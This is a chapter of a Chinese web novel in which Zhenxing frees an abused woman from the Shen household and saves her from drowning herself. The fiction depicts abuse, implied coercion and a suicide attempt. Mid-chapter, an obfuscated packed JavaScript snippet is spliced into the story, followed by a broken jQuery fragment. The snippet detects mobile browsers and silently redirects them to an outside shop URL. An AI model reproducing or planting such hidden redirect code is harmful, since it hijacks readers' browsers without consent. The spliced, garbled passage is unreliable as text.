枕星跟着沈音走进沈笛的院子,停在了院西角的屋门前。
这间屋子不算大,比枕星想象得要干净整洁些。
窗上的纸,看起来新换没多久。
这会儿,沈笛大概还在沈长荀的院子里犯着痴症,他院子里的人全都跟在他身边儿。
所以,这里反倒是冷清又安静。
“那女子就住在这屋子里”,沈音朝她身边靠了靠,小声道。
她握着枕星的那只手,已开始微微泛潮。
其实,沈音一直都很清楚,无论出于什么目的,他们都不该将这女子关在府中。
执迷于一件错事,只会引来更多的错事。
可她在家中人微言轻,阿父和兄长并不会听她说话。
如今府上这境况,她心中说不上来的滋味。
总觉得,像是一场报应……
若是让这个女子离开沈家,也许一切就都会变好了。
沈音这样想着,却迟迟没有上前。
枕星的目光凝落在那把一尘不染的铜锁上。
若屋子里的人果真被人嫌弃和忽视,这门锁恐怕早就生了锈,落了灰……
事情真的像沈音说的那样么?
从她们走到这里,一直到现在,屋内始终没有传出任何动静。
不知那小鬼的娘,到底在做什么。
“阿音,可以把门打开么?”她捏了捏沈音的手。
既然她带她来了,就说明她是有办法进去的。
沈音的手指紧了紧,很快又松开,她抬脚朝房门走去。
原来,那房门的钥匙,就挂在门框上。
钥匙与锁,不过一臂长的距离。
就控制住了一个人的命,甚至决定了一个人的生与死……
枕星抿了抿唇,她跟在沈音的身侧,以防屋内之人伤人。
门推开后,一个白皙丰腴的女子便映入眼帘。
一身干净的粗布衣,也没能掩住她面若桃花。
女子平静地坐在榻边,眼神温婉,朝着她们浅浅一笑。
“沈姑娘来了……”她柔声问候道,温柔之下,没能藏住眼中哀伤。
“你……还记得我……”沈音有些心虚。
她只在她带着孩子来的那一晚,见过她。
而且,那天两人并没有说过话。
女子颔首,轻轻点头。
“你想不想离开这里?”枕星直接朝她问道。
时间紧迫。
沈笛这会儿是没有心思再管她,但他毕竟得的痴症,谁也不能保证他什么时候又想起这事儿,闹了过来。
再找机会救她可就难了。
听到枕星的话,女子神色突然变得复杂,不过很快她就恢复平静,朝枕星反问道:“请问姑娘是谁?为何要带我离开这里?”
“我是受人之托,救你出去。”
女子低下头,不知在想什么,无声苦笑。
“我已是孤身一人,无亲,无故,不知姑娘是受何人之托……”片刻后,她抬眸看向枕星,语气并非不信,更像是期待她能说出个让她意外的名字。
这一抬头,埋在她衣领下那片乌青,便露了出来。
枕星皱了皱眉,仔细看向她身上其它地方。
果然小鬼不会说谎。
“你身上怎么会有伤?”沈音也发现了异常,她下意识上前一步,想要查看女子的伤。
就算做过恩将仇报的事。
可将她关在这里这么久,已是相抵,又怎能再虐待她?
“是我自己不小心弄的……”女子慌忙提起衣领,将乌青处遮住,她继续说道:“我要离开这里,请让我离开这里!沈姑娘你放心,离开沈府后,我便与沈家人没有任何关系了,也绝不会再说一句与沈家有关的话!”
“好……我知你在这里并不好过……”,沈音看向枕星。
枕星让她找来一套小厮的衣服,给女子换上后,便带着她从侧门离开沈府,上了丞相府的马车。
从沈家门外,一直到城南的街道上。
将近一炷香的时间里,女子始终安静地坐在马车上,没说过一句话,也没有任何不妥的动作。
她的正常,让枕星觉得反常。
如果她真是这般安分守礼,知进退的性子。
当初又怎会做出那种爬上救命恩人床的事?
可如果是她心机深沉,故作此态。
又为何连伤口都不愿示人?为何要保护伤害她的那人?
枕星看不懂她的做法,也猜不透她的心思。
“姑娘,我们已经到了城南,你就在此地离开吧?”她朝女子道,随后叫停了马车。
女子仍旧没有说话,只感激地看着她,朝她作了一礼,下了马车。
也忘了追究,她到底为何救她。
就在女子的背影转入偏巷后,枕星亦跳下了马车。
一路跟去,女子看起来确实只是一个普普通通的人,并未注意到枕星的暗随。
她步履十分坚定,就连换方向时也不曾犹豫,直到停在一处安静无人的河沿上。
便头也不曾回一下,直接跳了下去!
枕星冲过去拦她,可惜连她的衣角都没有拉到,只好跟着她一起跳入了河中。
这一幕,刚好被正在河对岸二楼喝茶的人看到。
枕星没入河水的那一刻,谢凛的手指动了动,杯中茶水晃起浅浅涟漪。
“第一个女子沉的好快,她看起来已毫无求生欲望“,坐在谢凛对面少年摇头叹道:“而且,从身形上看,她要比后跳下去的那个明显更重一些,不知能不能救的上来了……”
说完,少年淡定地喝了口茶。
枕星浮出水面的那一刻,谢凛才惊觉,自己不知何时竟屏住了呼吸……
他抬手,将手中茶水一饮而尽。
随着枕星朝女子下沉方向游去,少年看清了她的脸,他起身有些紧张地朝谢凛说道:“师父,那女子是岳丞相家的千金岳枕星!我们得去救她!”
谢凛轻轻点头,两人离开了茶楼。
枕星着实费了好大一番力气,才终于将女子捞上了岸。
她死死拉着她的手腕,坐在河沿上大口大口换着气。
待稍微缓过几分后,又立马俯身,双手交叠朝女子胸前按去。
河水从女子的口鼻出涌出,一阵呛咳,她终于缓缓睁开眼睛,迷茫地看向四周。
“别看了,你还没死,是我把你捞了上来。死了可是不见这么好的阳光的……”枕星道。
女子不甘心地看向她。
遭过一次溺水的痛苦,死了也就罢了。
可若是再来一次,她……已心生退却……
“跳河自杀的人,会在死后一直重复溺水之苦……”枕星看穿了她的心思。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861944|212040||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
女子低下头,哭了起来。
“在沈家受皮肉之苦,你都能活着,怎么离开他,反倒又要寻死了”,枕星不能理解,一边拧干身上的衣裙,一边道:“那么多的苦你都遭过了,如今自由了,还有什么过不去的呢?”
“你不懂……”女子赌气道。
枕星绞衣服的动作顿住,眨了眨眼睛。
她确实不懂。
但她最近正在研究男女之情这一学问……
“你爱沈笛?”她问道。
女子不语,算作默认。
“爱他……把你锁在房中,不得自由?”虽有准备,枕星还是迷茫了。
女子诡异地看了她一眼,未作辩解。
“还是爱他……打你?”枕星问得十分真诚。
她是认真思考过的。
根据她从小鬼和沈音得到的情报。
沈笛瞧不上这个女子,他嫌她身份低贱,又怕她污了他的名声,把她锁在府上,粗暴虐打她。
究竟哪一点能让她爱上他?
难道就因为那一夜与他睡过?
可沈笛也与她睡过,沈笛并没有爱上她……
她实在是想不通,她与沈笛若真有男女之情,为何这样;可若两人无男女之情,又为何这样。
难道这男女之情,还能是生于虐待?
若是有人打她,她绝对会让对方更痛百倍千倍!
忽然,她想起什么!
“你身上的伤不是被他打的!是被他……”
虽不知到底是怎么个过程,但她还是想到了这个可能。
“够了……”女子低声打断了她:“他带我和我的孩子回家……可我无以为报……那一晚是他酒后先动情……我知道他身份尊贵,也知道我与他不可能有结果……但他想要我的身子,我可以给他……”
说完,女子起身,竟还欲往河边去。
“你知道是谁求我救你出来的么?”枕星心下一惊,叫住了她。
女子顿身回眸。
“是你的孩子。“
女子笑了。
“你不信?我请它上来与你说!”
枕星哪会什么请鬼上身的术法,不过是情急之下,随口捏造的话。
没想到女子真的信了,她转过身,朝她走来……
叽里咕噜一阵咒语,枕星身子一颤,学起那小鬼的动作、神态和语气来。
“娘亲,我是阿安……”
眼见着女子的情绪激动起来,又渐渐平和。
她说完,身子再次一颤,好像真的被抽空了般,无力地跌坐在了地上。
“谢谢你……我该走了,你放心,我会好好活着”,女子朝她道:“你知道么,就连沈笛,都不曾知道,我的孩子名叫阿安……”
说完,女子就离开了。
不远处的谢凛,正望着枕星的方向。
他身边的少年已经忍不住捧腹笑了起来。
“师父,这岳枕星当真是有趣,可适合娶回府上?”
谢凛冷冷地朝少年看了一眼。
“不是当我师娘……”少年连忙解释道:“是当我的王妃……”
谁知,谢凛的脸更冷了。
少年不知自己是哪里惹了他,眼睛一转,又继续解释起来:“师父,并不是弟子不专心学问与功夫……”
谢凛却开口道:“只要人品好,便可为佳配。”